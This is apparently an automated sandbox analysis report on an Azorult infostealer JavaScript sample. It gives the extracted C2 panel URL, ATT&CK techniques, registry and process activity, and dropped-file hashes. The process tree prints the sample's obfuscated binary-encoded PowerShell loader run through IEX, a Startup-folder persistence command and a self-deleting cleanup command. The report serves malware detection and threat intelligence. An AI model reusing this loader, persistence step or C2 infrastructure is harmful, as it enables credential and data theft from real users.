azorult | b16ff5477ed1e60e82a495a3b7cbe42371243670be0250f3f05d49a6ea37a4d3

General

Target

AZ_Scan_87291_pdf.js
Size

1KB
MD5

1f60eb182eb8e331cf7631a3a8c3080e
SHA1

6a0fc5ddc3490f6628674605cb70b8e6178929d9
SHA256

b16ff5477ed1e60e82a495a3b7cbe42371243670be0250f3f05d49a6ea37a4d3
SHA512

242597d3662454364a776588356cc1e796e050b6770414ac045b8574602a78f71e1755ee4d0b20530dbfabf28b007b6a751c738aa36d7b3928794797307d6c89

Score

10^/10

azorult collection infostealer spyware stealer trojan

Malware Config

Extracted

Family

azorult

C2

http://185.29.9.47/aristo/Panel/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

17 2324 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation wscript.exe
Loads dropped DLL 5 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

2324 powershell.exe
3752 aspnet_compiler.exe
3752 aspnet_compiler.exe
3752 aspnet_compiler.exe
3752 aspnet_compiler.exe
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
17	2324	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	wscript.exe

pid	process
2324	powershell.exe
3752	aspnet_compiler.exe
3752	aspnet_compiler.exe
3752	aspnet_compiler.exe
3752	aspnet_compiler.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2324 set thread context of 3752 2324 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 2324 set thread context of 3752	2324	powershell.exe	aspnet_compiler.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	aspnet_compiler.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	aspnet_compiler.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

416 timeout.exe

pid	process
416	timeout.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

Processes:

IEXPLORE.EXEiexplore.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3550877762"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3550877762"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{FEFC305E-3504-11ED-89AC-E23A5D90AA50} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000975fab978604b14697eb522259e91a10000000000200000000001066000000010000200000001a2abd4213fb5c3f4908b62c5140ae5c25fc3a5d41ed9d769084e008f1edda66000000000e8000000002000020000000141a2385166455597e29706225d80b9416c4e13483c26b68fdf4474b7b11707d20000000c4d82db16854e0087423c63f7afc4f8265c4a822a19836d0be9cd8c3b1637e4940000000530b33b56c5f600d99a6e87160423983856f11c48b063d543df020f4cfb096bfbfb823851875273c250c4c31c14785d82145e950aae5bfeda7679e0f89cd55e0	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000975fab978604b14697eb522259e91a10000000000200000000001066000000010000200000005d1b1d01ef9345a39880fbaa65eca3d2b3bac29c8990dfda2a5bcd75e0daa432000000000e8000000002000020000000a5afd4460d385586df6714e7cb886fef0ae70e9fa67762eb3264496268780f3220000000e5ef2c500ffa24e0966ab11aebc53e56f91ccf6c7702558e786ceb6df5b4b3374000000052c177bfb4cdb1d760a92a6f55c85c97ff73228895c073b96eca1ba3e79a3e6ebd117e273ceede2d91b41c086725833817777170046e072a4108d20a15f0668e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30984465"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0fb9dd411c9d801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "370018084"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30984465"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0a38fd411c9d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

pid process

2324 powershell.exe
2668 powershell.exe
2668 powershell.exe
2324 powershell.exe
3752 aspnet_compiler.exe
3752 aspnet_compiler.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

powershell.exe

pid process

2668 powershell.exe

pid	process
2324	powershell.exe
2668	powershell.exe
2668	powershell.exe
2324	powershell.exe
3752	aspnet_compiler.exe
3752	aspnet_compiler.exe

pid	process
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeIncreaseQuotaPrivilege	2324	powershell.exe
Token: SeSecurityPrivilege	2324	powershell.exe
Token: SeTakeOwnershipPrivilege	2324	powershell.exe
Token: SeLoadDriverPrivilege	2324	powershell.exe
Token: SeSystemProfilePrivilege	2324	powershell.exe
Token: SeSystemtimePrivilege	2324	powershell.exe
Token: SeProfSingleProcessPrivilege	2324	powershell.exe
Token: SeIncBasePriorityPrivilege	2324	powershell.exe
Token: SeCreatePagefilePrivilege	2324	powershell.exe
Token: SeBackupPrivilege	2324	powershell.exe
Token: SeRestorePrivilege	2324	powershell.exe
Token: SeShutdownPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeSystemEnvironmentPrivilege	2324	powershell.exe
Token: SeRemoteShutdownPrivilege	2324	powershell.exe
Token: SeUndockPrivilege	2324	powershell.exe
Token: SeManageVolumePrivilege	2324	powershell.exe
Token: 33	2324	powershell.exe
Token: 34	2324	powershell.exe
Token: 35	2324	powershell.exe
Token: 36	2324	powershell.exe
Token: SeIncreaseQuotaPrivilege	2324	powershell.exe
Token: SeSecurityPrivilege	2324	powershell.exe
Token: SeTakeOwnershipPrivilege	2324	powershell.exe
Token: SeLoadDriverPrivilege	2324	powershell.exe
Token: SeSystemProfilePrivilege	2324	powershell.exe
Token: SeSystemtimePrivilege	2324	powershell.exe
Token: SeProfSingleProcessPrivilege	2324	powershell.exe
Token: SeIncBasePriorityPrivilege	2324	powershell.exe
Token: SeCreatePagefilePrivilege	2324	powershell.exe
Token: SeBackupPrivilege	2324	powershell.exe
Token: SeRestorePrivilege	2324	powershell.exe
Token: SeShutdownPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeSystemEnvironmentPrivilege	2324	powershell.exe
Token: SeRemoteShutdownPrivilege	2324	powershell.exe
Token: SeUndockPrivilege	2324	powershell.exe
Token: SeManageVolumePrivilege	2324	powershell.exe
Token: 33	2324	powershell.exe
Token: 34	2324	powershell.exe
Token: 35	2324	powershell.exe
Token: 36	2324	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

4644 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

4644 iexplore.exe
4644 iexplore.exe
3784 IEXPLORE.EXE
3784 IEXPLORE.EXE

pid	process
4644	iexplore.exe

pid	process
4644	iexplore.exe
4644	iexplore.exe
3784	IEXPLORE.EXE
3784	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

iexplore.exewscript.exepowershell.exeaspnet_compiler.execmd.exe

description	pid	process	target process
PID 4644 wrote to memory of 3784	4644	iexplore.exe	IEXPLORE.EXE
PID 4644 wrote to memory of 3784	4644	iexplore.exe	IEXPLORE.EXE
PID 4644 wrote to memory of 3784	4644	iexplore.exe	IEXPLORE.EXE
PID 4332 wrote to memory of 2324	4332	wscript.exe	powershell.exe
PID 4332 wrote to memory of 2324	4332	wscript.exe	powershell.exe
PID 4332 wrote to memory of 2668	4332	wscript.exe	powershell.exe
PID 4332 wrote to memory of 2668	4332	wscript.exe	powershell.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 2324 wrote to memory of 3752	2324	powershell.exe	aspnet_compiler.exe
PID 3752 wrote to memory of 4712	3752	aspnet_compiler.exe	cmd.exe
PID 3752 wrote to memory of 4712	3752	aspnet_compiler.exe	cmd.exe
PID 3752 wrote to memory of 4712	3752	aspnet_compiler.exe	cmd.exe
PID 4712 wrote to memory of 416	4712	cmd.exe	timeout.exe
PID 4712 wrote to memory of 416	4712	cmd.exe	timeout.exe
PID 4712 wrote to memory of 416	4712	cmd.exe	timeout.exe

outlook_office_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

outlook_win_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\AZ_Scan_87291_pdf.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,55115551,55111555,55115151,55151115,55115515,55115555,55151115,55115551,55111555,55115115,55151115,55115151,55115511,55151111,55111551,55115511,55115111,55115515,55115115,55111551,55115511,55115555,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };$o00='I' + 'EX';sal P $o00;([system.String]::Join('', $gf))|P
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3752

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "aspnet_compiler.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:4712

C:\Windows\SysWOW64\timeout.exe
C:\Windows\system32\timeout.exe 3
5⤵
- Delays execution with timeout.exe
PID:416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\AZ_Scan_87291_pdf.js' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
PID:2668

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:2092

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4644

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4644 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3784

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
454f9e7fa8aad19d6bac74d19b3086b2

SHA1
fd31e6cf15a019921faf239343ace0da3cfb06c2

SHA256
0f3226ebe6776806997c74f28e76ad5eb235909b8645d43d3564d823fc7834f2

SHA512
763af517762363994c0da1bbeef555ce4d8e7928b8dc9ece3aa90a24a232490f990c1948687957c55df2b010cc95c08267e4c5df48645739c70416c60a54840e

Download Submit
C:\Users\Admin\AppData\Local\Temp\2fda\mozglue.dll
Filesize
135KB

MD5
9e682f1eb98a9d41468fc3e50f907635

SHA1
85e0ceca36f657ddf6547aa0744f0855a27527ee

SHA256
830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

SHA512
230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\2fda\msvcp140.dll
Filesize
429KB

MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
C:\Users\Admin\AppData\Local\Temp\2fda\nss3.dll
Filesize
1.2MB

MD5
556ea09421a0f74d31c4c0a89a70dc23

SHA1
f739ba9b548ee64b13eb434a3130406d23f836e3

SHA256
f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

SHA512
2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

Download Submit
C:\Users\Admin\AppData\Local\Temp\2fda\vcruntime140.dll
Filesize
81KB

MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\cecb0c0b-4550-4098-9844-f88c90b440d3\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/416-153-0x0000000000000000-mapping.dmp

Download
memory/2324-134-0x0000029334A80000-0x0000029334AA2000-memory.dmp

Filesize
136KB

Download
memory/2324-138-0x00007FF9F9E20000-0x00007FF9F9F6E000-memory.dmp

Filesize
1.3MB

Download
memory/2324-132-0x0000000000000000-mapping.dmp

Download
memory/2324-146-0x00007FFA01B40000-0x00007FFA02601000-memory.dmp

Filesize
10.8MB

Download
memory/2324-136-0x00007FFA01B40000-0x00007FFA02601000-memory.dmp

Filesize
10.8MB

Download
memory/2668-135-0x00007FFA01B40000-0x00007FFA02601000-memory.dmp

Filesize
10.8MB

Download
memory/2668-133-0x0000000000000000-mapping.dmp

Download
memory/3752-143-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3752-145-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3752-139-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3752-152-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3752-140-0x000000000041A1F8-mapping.dmp

Download
memory/4712-151-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads